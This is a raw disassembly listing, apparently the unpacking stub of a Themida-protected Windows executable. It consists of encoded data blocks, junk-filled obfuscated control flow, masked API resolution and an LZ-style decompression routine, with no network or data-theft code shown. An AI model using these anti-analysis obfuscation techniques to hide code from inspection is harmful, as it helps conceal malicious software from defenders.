		dd 3FE4B58Dh, 896007FAh, 0FA15499Dh, 8D61F507h,	5B8EA185h
		dd 299D0100h, 0FF07FA29h, 958B60D0h, 7FA18E9h, 143F88B8h
		dd 0E95E6108h, 0Ch, 3B2BEF9Bh, 0BEE73D4Eh, 43840C5Eh, 6830FC3h
		dd 89000000h, 0FA2AE195h, 5B58B07h, 907FA41h, 0FA0DAD85h
		dd 208D8B07h, 0E907FA41h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h
		dd 529DACC7h, 0B8411Eh,	60000000h, 61CF8B66h, 0BD89D98Bh
		dd 7FA2A51h, 0C0E9h, 0D98D0100h, 907FA2Eh, 0FA0B4DBDh
		dd 89263207h, 0FA1E859Dh, 0F02B207h, 68Ah, 8D8D2900h, 0E907FA23h
		dd 52h,	60C232F5h, 0BBC28B66h, 2075151Dh, 1D7A0561h, 60608A75h
		dd 9E8h, 0DF6BA00h, 244BE2Dh, 605E2AFEh, 6AB76161h, 8AF96061h
		dd 0CC8A61F3h, 0FC8D3F9h, 189h,	4235F500h, 6098D108h, 0FBC78166h
		dd 0F3B70F8Eh, 0FCAFE61h, 185h,	0D20AF800h, 0FFA7850Fh
		dd 8960FFFFh, 0FA34BD85h, 0E94B6107h, 0Bh, 6DA91A63h, 0A6ECA9BBh
		dd 0F6A3ADEh, 684h, 498D8900h, 4607FA01h, 7D858960h, 5307FA0Ah
		dd 0AE9h, 225FA00h, 8A6D3ED5h, 580AFA78h, 0FDB0B61h, 0FFFF4485h
		dd 258501FFh, 0CF07FA0Bh, 0F8DB529h, 8E0F07FAh,	6, 0B719D89h
		dd 7FAh, 8299501h, 7FAh, 0CE9h,	404C8900h, 462FE6C6h, 56E3FB4h
		dd 0F000062h, 88Eh, 2810F00h, 60000000h, 60000061h, 2A0D958Bh
		dd 61FC07FAh
; ---------------------------------------------------------------------------


loc_58757C:				; CODE XREF: sub_586E51:loc_586F05j
		lea	eax, [ebp+7FA3AE2h]
		js	loc_58758E
		mov	[ebp+7FA2019h],	eax


loc_58758E:				; CODE XREF: sub_586E51+731j
		mov	[ebp+7FA2539h],	eax
		jo	loc_5875AA
		jno	loc_5875AA
		jmp	loc_5875AA
; ---------------------------------------------------------------------------
		db 95h,	6Bh, 0B6h
		db 2 dup(75h)
; ---------------------------------------------------------------------------


loc_5875AA:				; CODE XREF: sub_586E51+743j
					; sub_586E51+749j ...
		lea	eax, [ebp+7FA3F32h]
		mov	[ebp+7FA0121h],	esi
		mov	[ebp+7FA2E69h],	eax
		call	near ptr loc_5875D2+2
		push	edi
		push	ecx
		mov	byte ptr [ebp+7FD5ED48h], 3Eh
		push	edi
		mov	eax, ds:0B81B1E5h
		or	esi, ebx


loc_5875D2:				; CODE XREF: sub_586E51+76Bp
		cmp	esi, [ebx+665F8AB2h]
sub_586E51	endp ; sp-analysis failed

		and	ebx, 0C78180ADh
		sbb	ebp, [esi+0]
		add	[ebx-5D36263h],	cl
		pop	es
		mov	esi, 1B4Eh
		mov	[ebp+7FA1DF9h],	eax


loc_5875F3:				; CODE XREF: Themida_:00587696j
		mov	ecx, [edi]
		mov	edx, [ebp+7FA0AE1h]
		add	ecx, 1B1CBA31h
		pusha
		mov	edi, 5828C7B1h
		mov	dx, cx
		popa
		xor	ecx, 2FBD1F33h
		call	near ptr loc_587623+6
		sub	al, 6Bh
		scasd
		mov	ds:0D1A6C9C9h, al
		adc	[edi+1Ah], edx
		mov	ch, 0Ah


loc_587623:				; CODE XREF: Themida_:00587611p
		sub	dword ptr [esi+7E32E9CEh], 0C9D7DA81h
		mov	byte ptr [ebx],	58h
		add	ecx, 2A16CA38h
		mov	ax, 4615h
		mov	[edi], ecx
		and	ebx, [ebp+7FA2109h]
		sub	edi, 53A0E6FAh
		jmp	loc_587660
; ---------------------------------------------------------------------------
		db 7Ch,	0F8h, 5Eh
		dd 75CD5C86h, 4D290DBAh, 0A3BA72Fh, 99D4D57h
; ---------------------------------------------------------------------------


loc_587660:				; CODE XREF: Themida_:00587648j
		add	edi, 53A0E6F6h
		mov	ah, cl
		sub	esi, 1
		jnz	loc_587690
		mov	ebx, [ebp+7FA0D71h]
		jmp	loc_5876A8
; ---------------------------------------------------------------------------
		db 0Eh
		dd 0D20C6C21h, 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh
; ---------------------------------------------------------------------------


loc_587690:				; CODE XREF: Themida_:0058766Ej
		mov	[ebp+7FA2661h],	edx
		jmp	loc_5875F3
; ---------------------------------------------------------------------------
		db 50h
		dd 1D67495Bh, 97EE631Ah, 0CBCEE0F6h
; ---------------------------------------------------------------------------


loc_5876A8:				; CODE XREF: Themida_:0058767Aj
		jmp	short loc_5876BE
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E40000h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5876BE:				; CODE XREF: Themida_:loc_5876A8j
		lea	eax, [ebp+7FA4335h]
		mov	[ebp+7FA147Dh],	eax
		cmp	dword ptr [ebp+7FA4275h], 0
		jz	loc_58780C
		mov	byte ptr [ebp+7FA0665h], 56h
		call	near ptr loc_5876E6+1
		cmp	[ebp+1Fh], ebp


loc_5876E6:				; CODE XREF: Themida_:005876DEp
		aam	50h
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		mov	[ebp+7FA4269h],	eax
		mov	byte ptr [ebp+7FA0665h], 56h
		push	8E7B013Ah
		xor	dword ptr [esp], 12D3B968h
		push	dword ptr [ebp+7FA08A5h]
		lea	eax, [ebp+7FA3AE2h]
		call	eax
		mov	[ebp+7FA426Dh],	eax
		push	4
		push	34334CD8h
		xor	dword ptr [esp], 34335CD8h
		mov	eax, [ebp+7FA4279h]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp], eax
		push	0
		call	dword ptr [ebp+7FA426Dh]
		mov	[ebp+7FA4271h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7FA147Dh]
		mov	eax, ebx
		call	dword ptr [ebp+7FA147Dh]
		jmp	loc_58780C
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA4275h], 0
		jnz	loc_587784
		retn
; ---------------------------------------------------------------------------


loc_587784:				; CODE XREF: Themida_:0058777Dj
		push	edi
		mov	edi, [ebp+7FA4271h]
		stosd
		add	dword ptr [ebp+7FA4271h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7FA4275h], 0
		jnz	loc_5877A3
		retn
; ---------------------------------------------------------------------------


loc_5877A3:				; CODE XREF: Themida_:0058779Cj
		pusha
		sub	dword ptr [ebp+7FA4271h], 4


loc_5877AB:				; CODE XREF: Themida_:loc_587807j
		mov	ebx, [ebp+7FA4271h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_5877E1
		call	near ptr loc_5877C0+4


loc_5877C0:				; CODE XREF: Themida_:005877BBp
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7FA4269h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_587807
; ---------------------------------------------------------------------------


loc_5877E1:				; CODE XREF: Themida_:005877B5j
		call	near ptr loc_5877E6+4


loc_5877E6:				; CODE XREF: Themida_:loc_5877E1p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7FA4269h]
		sub	dword ptr [ebp+7FA4271h], 4


loc_587807:				; CODE XREF: Themida_:005877DCj
		jmp	loc_5877AB
; ---------------------------------------------------------------------------


loc_58780C:				; CODE XREF: Themida_:005876D1j
					; Themida_:00587771j
		dec	eax
		jmp	loc_5879BF
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58781E:				; CODE XREF: Themida_:loc_587836j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_587829:				; CODE XREF: Themida_:005878B4j
					; Themida_:0058791Cj ...
		add	dl, dl
		jnz	loc_587836
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_587836:				; CODE XREF: Themida_:0058782Bj
		jnb	loc_58781E
		add	dl, dl
		jnz	loc_587849
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_587849:				; CODE XREF: Themida_:0058783Ej
		jnb	loc_5878B9
		xor	eax, eax
		add	dl, dl
		jnz	loc_58785E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58785E:				; CODE XREF: Themida_:00587853j
		jnb	loc_58798E
		add	dl, dl
		jnz	loc_587871
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_587871:				; CODE XREF: Themida_:00587866j
		adc	eax, eax
		add	dl, dl
		jnz	loc_587880
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_587880:				; CODE XREF: Themida_:00587875j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58788F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58788F:				; CODE XREF: Themida_:00587884j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58789E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58789E:				; CODE XREF: Themida_:00587893j
		adc	eax, eax
		jz	loc_5878AC
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_5878AC:				; CODE XREF: Themida_:005878A0j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_587829
; ---------------------------------------------------------------------------


loc_5878B9:				; CODE XREF: Themida_:loc_587849j
		mov	eax, 1


loc_5878BE:				; CODE XREF: Themida_:loc_5878DAj
		add	dl, dl
		jnz	loc_5878CB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5878CB:				; CODE XREF: Themida_:005878C0j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5878DA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5878DA:				; CODE XREF: Themida_:005878CFj
		jb	loc_5878BE
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_587921
		mov	ecx, 1


loc_5878F2:				; CODE XREF: Themida_:loc_58790Ej
		add	dl, dl
		jnz	loc_5878FF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5878FF:				; CODE XREF: Themida_:005878F4j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58790E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58790E:				; CODE XREF: Themida_:00587903j
		jb	loc_5878F2
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_587829
; ---------------------------------------------------------------------------


loc_587921:				; CODE XREF: Themida_:005878E7j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58792F:				; CODE XREF: Themida_:loc_58794Bj
		add	dl, dl
		jnz	loc_58793C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58793C:				; CODE XREF: Themida_:00587931j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58794B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58794B:				; CODE XREF: Themida_:00587940j
		jb	loc_58792F
		cmp	eax, 7D00h
		jnb	loc_58797E
		cmp	eax, 500h
		jb	loc_587975
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_587829
; ---------------------------------------------------------------------------


loc_587975:				; CODE XREF: Themida_:00587961j
		cmp	eax, 7Fh
		ja	loc_587981


loc_58797E:				; CODE XREF: Themida_:00587956j
		add	ecx, 2


loc_587981:				; CODE XREF: Themida_:00587978j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_587829
; ---------------------------------------------------------------------------


loc_58798E:				; CODE XREF: Themida_:loc_58785Ej
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_5879B3
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_587829
; ---------------------------------------------------------------------------


loc_5879B3:				; CODE XREF: Themida_:00587996j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5879BF:				; CODE XREF: Themida_:0058780Dj
		mov	edx, 929h
		jmp	loc_58839C
; ---------------------------------------------------------------------------
		db 9, 5Ch, 2Eh
		dd 0B5E36663h, 0E9D9787h, 48EB79Eh, 724B3F9Bh, 2EE42565h
		dd 0B44C3ED5h, 87BCD038h, 2E7A541Dh, 0B9A16D6Eh, 5C8A858Fh
		dd 39CA6CDh, 1D0030DEh,	24EE5506h, 0B84D23C1h, 85BCD06Ah
		dd 2E795B1Bh, 0A6A1776Eh, 5C959F92h, 1882BAD3h,	760E24C9h
		dd 33A26165h, 0F55C23C5h, 90F2D138h, 2E6F4F1Bh,	0A7EE7177h
		dd 52959192h, 63h dup(0)
		dd 2E5C0900h, 0A9EF6C6Ah, 5C8A9F94h, 1080ADCEh,	37433CC9h
		dd 61F16463h, 0FA4D35C2h, 9CBDC36Ah, 7C3D5E1Ah,	0A9EF6D72h
		dd 15D8978Eh, 1896FFD0h, 640E2FCEh, 24F67672h, 99227ECDh
		dd 88B7C91Ah, 2E315F07h, 0AFED6D72h, 15D89481h,	589FFCAh
		dd 7A0E30D4h, 33ED686Eh, 0FA4970D9h, 8CA0852Eh,	7C7C4E07h
		dd 0AFF82373h, 0CD88295h, 588B0CCh, 30DAh, 48h dup(0)
		dd 2E5C0900h, 0A3E07164h, 5B8A958Bh, 189BFFCDh,	7F0E31D4h
		dd 23A2766Ah, 0B44635C5h, 87A7CA2Ch, 7B6F1A10h,	0AEE86D69h
		dd 1291D087h, 280A69Eh,	6E5D7DC9h, 2CE77178h, 0C4255A8Eh
		dd 9AB3C026h, 7B3D1611h, 0A1EE6F69h, 891D084h, 189DB99Eh
		dd 72437DD6h, 38F06A66h, 0F0463180h, 9AB7D76Ah,	7A6F5B00h
		dd 0B5EE7A27h, 0E88D092h, 169DB8D1h, 73D6h, 61h	dup(0)
		dd 675B0900h, 0A3A1666Bh, 98A828Fh, 138AABCEh, 430E739Ah
		dd 61F16C63h, 0F34722D0h, 0C9BFC438h, 2E6E5B1Ch, 0AEE46665h
		dd 12999DC0h, 1B9AAFD7h, 734B29DAh, 25EC642Bh, 0ED493D80h
		dd 0E4D8C028h, 7D3A4E1Dh, 0A6EF6A27h, 198C9385h, 0E8DFFDAh
		dd 410E3C9Bh, 32F77762h, 0B45A3F80h, 8AB3D729h,	20795F1Fh
		dd 0A9E95727h, 159ED093h, 0CFBAD2h, 630933D4h, 33ED722Bh
		dd 0FA4970CBh, 9BBDC833h, 1411h, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_58839C:				; CODE XREF: Themida_:005879C4j
		jmp	loc_58B04D
; ---------------------------------------------------------------------------
		mov	edx, [ebp+7FA0D89h]
		cld
		xor	bx, 0FF14h
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5883BA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5883BA	proc near		; CODE XREF: Themida_:005883B2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5883BA	endp

; ---------------------------------------------------------------------------
		dw 42AEh
		dd 0B0E4AEB7h, 58C0Fh, 81660000h, 83879EEAh, 0FA2ACDBDh
		dd 9750007h, 1899BD83h,	740007FAh, 8B535013h, 1B8C0h, 9D8D0000h
		dd 7FCE0C6h, 585BD3FFh,	1899BD83h, 740007FAh, 0B8535011h
		dd 1, 0DF779D8Dh, 0D3FF07FCh, 0BE8585Bh, 24000000h, 0F66F47F6h
		dd 2F40ABA8h, 9D0BED30h, 7FA30C5h, 6A6FB65Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 927FC352h, 0E680881Fh, 68D0F04h, 2B000000h, 0FA1D6D9Dh
		dd 0E8606007h, 12h, 81777E9h, 323C1174h, 238C41B3h, 40DC4163h
		dd 0F5BDD36h, 8Eh, 0B58B6100h, 7FA01FDh, 6AC08B61h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9D94C357h, 6CFCF90Ah, 0E99AE719h, 10h, 98945D4Eh, 4F17E463h
		dd 93B34475h, 7BF53D24h, 217DBD83h, 0F0007FAh, 1CE84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0D927546Bh, 0AADF5E23h, 0B70F3CA6h, 5BD83D6h
		dd 7FA1Eh, 199840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0BECF7CC3h, 0D1BF0FF6h
		dd 0BDB50960h, 6607FA02h, 858BD98Bh, 7FA1E05h, 3E805h
		dd 15953300h, 9007FA17h, 5050D18Ah, 0FD4B352h, 14E931h
		dd 61640000h, 0BFF45553h, 4BD77AFCh, 6DB7177Ch,	87983809h
		dd 585ADA36h, 5E990h, 66EE0000h, 8D149E11h, 0FA4F4285h
		dd 81B58907h, 5007FA2Ah, 66525060h, 0F60D9B9h, 5A5B5331h
		dd 450AB958h, 8961727Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 10BDAFC3h, 2ED978BFh
		dd 2DCDB529h, 858D07FAh, 7FA4F20h, 6E9h, 0B491BA00h, 502E9CE0h
		dd 5E8h, 64D43000h, 10E9F2C4h, 80000000h, 14EB8576h, 38B29D4Ch
		dd 77DEAD7Bh, 5B333372h, 66240489h, 5BCBF281h, 0DC595FFh
		dd 0F68007FAh, 0F2816627h, 0C483D07Dh, 17DF800Ch, 4F20858Dh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 405BD9C3h, 193340FFh, 8AD84E5Ch, 0DCB250F9h
		dd 89240489h, 0FA10F58Dh, 8B026A07h, 0FA299D95h, 1495FF07h
		dd 53006AEDh, 105D958Bh, 615A07FAh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 87C35242h, 0F6E92A71h, 0F54BC72h
		dd 13E8DEBFh, 47000000h, 5462A8E7h, 1E9EBB5Ch, 2E821EF5h
		dd 357E459Ah, 0BB66F344h, 0C75A51A7h, 0FA4F5385h, 107h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0CA3677B2h, 8A0F508Ah, 8, 0F525052h, 5A585A31h
		dd 0B7243489h, 4B5898Ch, 8B07FA4Fh, 0FA1E4995h,	0EDBD8307h
		dd 107FA33h, 3C850Fh, 9D8B0000h, 7FA16C9h, 0F05F883h, 2D85h
		dd 5BD3100h, 0B807FA2Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58871B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58871B	proc near		; CODE XREF: Themida_:00588713p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58871B	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 324A4446h, 0BD83B3B7h, 7FA24D9h, 6D840F00h, 0E8000000h
		dd 8, 0A6418DABh, 410E5CD9h, 5BD3BF0Fh,	53006A60h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 93D529E5h, 5F95EC66h, 2BD1BD89h, 0B50107FAh,	7FA2B89h
		dd 24D995FFh, 9D8B07FAh, 7FA2291h, 52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 1CD5383Ch
		dd 789BD83h, 0F0007FAh,	2384h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0B8F5FCh, 0F9000000h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89103253h, 0FA24A98Dh, 15858B07h, 6A07FA16h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 45B5C353h, 0C083FA8Ah, 89D48A02h,	0FA4EFC85h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 20EAB8A9h, 27882F8h, 23599D89h, 0C607FAh
		dd 0E5BD29FFh, 0C607FA1Ch, 0FA066585h, 6A5307h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 1E0224C3h, 0C7BDE4B1h, 4E8BEAAh, 0D8000000h,	0B7FCB148h
		dd 616050FAh, 424448Bh,	0D18B6651h, 0BA008B5Ah,	6FAA80CCh
		dd 4244489h, 58D78B66h,	0B70FD78Bh, 95B5FFD0h, 8907FA20h
		dd 0FA1D6D95h, 0DD858D07h, 6A07FDA3h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 92C8C356h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0FEB642C3h, 894C9B76h, 0FA101985h, 0DE8B6607h
		dd 0B75BD83h, 0F0107FAh, 0AE85h, 41958B00h, 6607FA26h
		dd 618D7DBAh, 0AE9h, 9EECE100h,	9110B09h, 0C6F19494h, 0FA066585h
		dd 85294507h, 7FA1D9Dh,	0CE8h, 9CFAB200h, 43884308h, 4E5EB008h
		dd 999D89EAh, 5A07FA2Eh, 4949D268h, 892BBC5h, 34815570h
		dd 29711024h, 29958B1Fh, 0FF07FA29h, 0FA2095B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 1EFCC3DDh, 840F504Bh, 4, 43D1BB66h, 0DD858D5Ah, 8907FDA3h
		dd 0FA220D9Dh, 0BBD0FF07h, 393AA7FBh, 0B529006Ah, 7FA15B1h
		dd 0FFE6EB80h, 0AD9D29D0h, 8307FA0Dh, 0FA1E45BDh, 850F0107h
		dd 0B1h, 15858BF9h, 0FC07FA16h,	6CE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 9DBB7126h, 609044D7h, 15B8CCB0h, 6142DBCAh, 0FE950h
		dd 4A070000h, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch,	0F5090C6h
		dd 68Ch, 0D19D8B00h, 5B07FA1Bh,	8B66146Ah, 1995FFDAh, 6607FA10h
		dd 1B0DEB81h, 9D9D8B58h, 907FA1Fh, 0FA0E5DB5h, 388007h
		dd 0FFAC850Fh, 9D89FFFFh, 7FA3231h, 6A0100C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 4E78C352h, 8181ED1Ch, 7BD984DBh, 6A6105h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E5DF1FC3h
		dd 8B79D5EFh, 9800FDEh,	0F000000h, 389h, 0D38B6600h, 0FD9BD83h
		dd 0F0007FAh, 7184h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2A0C649Ch, 0DB9C9BE6h
		dd 8BFF6A6Ah, 1995FFD9h, 0BA07FA10h, 4140E1A9h,	12E9h
		dd 0D85D2A00h, 73C91CCAh, 1495BB29h, 0EEDF42C6h, 0E9F6049Bh
		dd 0FFFFFFD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	9CC35343h, 4FBD1CFEh, 85C7B79Bh, 7FA0FD9h, 1, 891AE280h
		dd 0FA4F0885h, 419D8907h, 5007FA2Ch, 6870Fh, 60600000h
		dd 615E5261h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 6D2C353h, 0E303382Ah
		dd 9D8B9597h, 7FA2D59h,	18F0F60h, 0F8000000h, 0B752056Ah
		dd 858D5B98h, 7FA4F20h,	0D21B589h, 0B79007FAh, 9E850C6h
		dd 5000000h, 3E94CBC0h,	0E968151Eh, 9E8h, 61C18F00h, 0AD460646h
		dd 0B5BBB83Bh, 5B2F754Fh, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0D9CD5C3h, 66DF8B66h
		dd 8DE517BBh, 0FA4F1085h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A769BF87h
		dd 44A31105h, 8953A7D1h, 0FA1671B5h, 89505A07h,	6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 9863ECC3h, 10719D8Bh, 0DE907FAh, 8C000000h, 65169DC8h
		dd 7C5A27BFh, 99E57994h, 18C995FFh, 9D8B07FAh, 7FA0F51h
		dd 5659D8Bh, 8D8D07FAh,	7FA7B9Bh, 18F5958Bh, 0C00B07FAh
		dd 858D1174h, 7FA4F20h,	89D1FF50h, 0FA4F3E85h, 0C70AEB07h
		dd 0FA4F3E85h, 0FFFFFF07h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0C8A0F4Ch
		dd 0F000000h, 683h, 8A0F00h, 0F9000000h, 50006A61h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0C522B08h, 0FD71C78h, 0BE9D3B7h, 0F2000000h,	0D5BC4BBh
		dd 0B9A53140h, 85C6BB8Ch, 7FA0665h, 50006A4Dh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0EC74D5C0h
		dd 6A75FDC3h, 68DDEB80h, 2FEA8207h, 48176B7h, 4AF4A124h
		dd 0FFD18B74h, 0FA2279B5h, 699D8B07h, 8D07FA14h, 0FDA3DD85h
		dd 0BE666007h, 8B663996h, 0D0FF61CEh, 5840Fh, 81660000h
		dd 8936A0DBh, 0FA2AE585h, 0D08B6607h, 66585C6h,	664507FAh
		dd 0C68D68Bh, 669A07F4h, 3481D18Bh, 759D6524h, 51006A14h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 9669DC38h, 0B5FFFD9Fh, 7FA2095h, 14E8h, 95FA8500h, 0B669BC3Dh
		dd 0E2AEAD4Bh, 0EF5D2B79h, 0ECDA1E3Dh, 959D8BA9h, 5A07FA32h
		dd 0A3DD858Dh, 0D0FF07FDh, 0D38143B6h, 4E37AE6Ah, 0EBD8589h
		dd 0BD8907FAh, 7FA0C91h, 0E853D28Bh, 14h, 0A830C432h, 2BB4D215h
		dd 6F812D4Eh, 0DC922A80h, 0F75D434Bh, 0E59958Bh, 5A5A07FAh
		dd 89D98C66h, 0FA264185h, 4C1F607h, 294840Fh, 0BDE90000h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 769AC355h, 63E4C1Fh, 0B58B4B0Eh
		dd 7FA1505h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	7DC35545h, 817D26FBh, 1180C6h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0B4BD2B19h, 0C1958BACh, 8307FA16h, 0FA2C05BDh, 850F0007h
		dd 78h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 3CC35242h, 2623E1B2h, 0E3508015h, 0FE9D2h, 0E4690000h
		dd 4FE21CF5h, 74F1E716h, 0E879E1E8h, 0EE98Ch, 0C4800000h
		dd 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 0CCE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 19FD3F59h, 0A9BD8956h, 5A07FA2Ch, 0F003E83h,	9C84h
		dd 87BA6000h, 3112F025h, 0FA33C59Dh, 6A606107h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 55DAC350h, 0CD665275h, 0E9146AF5h, 0Fh, 5B9946h, 0F0C91B17h
		dd 0B6F82430h, 0FFD692D4h, 0FA101995h, 0F5D88B07h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 2746B000h, 87D441ABh, 71958932h, 0F07FA2Bh, 38Eh, 0D6B70F00h
		dd 0FFFF6FE9h, 8D2960FFh, 7FA0645h, 0D91958Bh, 2B6107FAh
		dd 0FA2BF595h, 106C707h, 0E9000000h, 14h, 60F7B539h, 4B11BD36h
		dd 98305466h, 7927340Fh, 0F1C57586h, 4F08BD83h,	0F0507FAh
		dd 0C585h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
